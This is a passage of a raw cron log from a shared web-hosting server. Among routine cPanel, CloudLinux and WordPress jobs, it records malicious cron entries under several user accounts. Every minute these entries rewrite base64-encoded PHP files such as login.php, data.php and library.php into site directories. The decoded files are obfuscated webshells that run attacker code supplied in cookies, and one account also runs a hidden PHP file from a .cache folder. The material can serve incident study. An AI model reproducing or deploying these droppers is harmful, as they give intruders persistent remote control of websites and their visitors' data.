dKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:38:01 medusa CROND[23405]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:38:01 medusa CROND[23406]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:38:01 medusa CROND[23410]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:38:01 medusa CROND[23408]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:38:01 medusa CROND[23409]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:38:01 medusa CROND[23421]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:38:01 medusa CROND[23424]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 09:38:01 medusa CROND[23427]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:39:02 medusa CROND[25209]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Jun  7 09:39:02 medusa CROND[25210]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:39:02 medusa CROND[25211]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:39:02 medusa CROND[25212]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:39:02 medusa CROND[25213]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:39:02 medusa CROND[25215]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 09:39:02 medusa CROND[25214]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:39:02 medusa CROND[25219]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:39:02 medusa CROND[25225]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:39:02 medusa CROND[25226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:39:02 medusa CROND[25227]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:39:02 medusa CROND[25228]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:39:02 medusa CROND[25234]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 09:39:02 medusa CROND[25236]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:40:01 medusa CROND[27069]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 09:40:01 medusa CROND[27070]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 09:40:01 medusa CROND[27071]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 09:40:01 medusa CROND[27081]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 09:40:02 medusa CROND[27093]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:40:02 medusa CROND[27094]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 09:40:02 medusa CROND[27095]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 09:40:02 medusa CROND[27096]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:40:02 medusa CROND[27097]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:40:02 medusa CROND[27098]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 09:40:02 medusa CROND[27106]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 09:40:02 medusa CROND[27109]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 09:40:02 medusa CROND[27111]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:40:02 medusa CROND[27118]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 09:40:02 medusa CROND[27119]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:40:02 medusa CROND[27120]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 09:40:02 medusa CROND[27121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:40:02 medusa CROND[27122]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:40:02 medusa CROND[27123]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
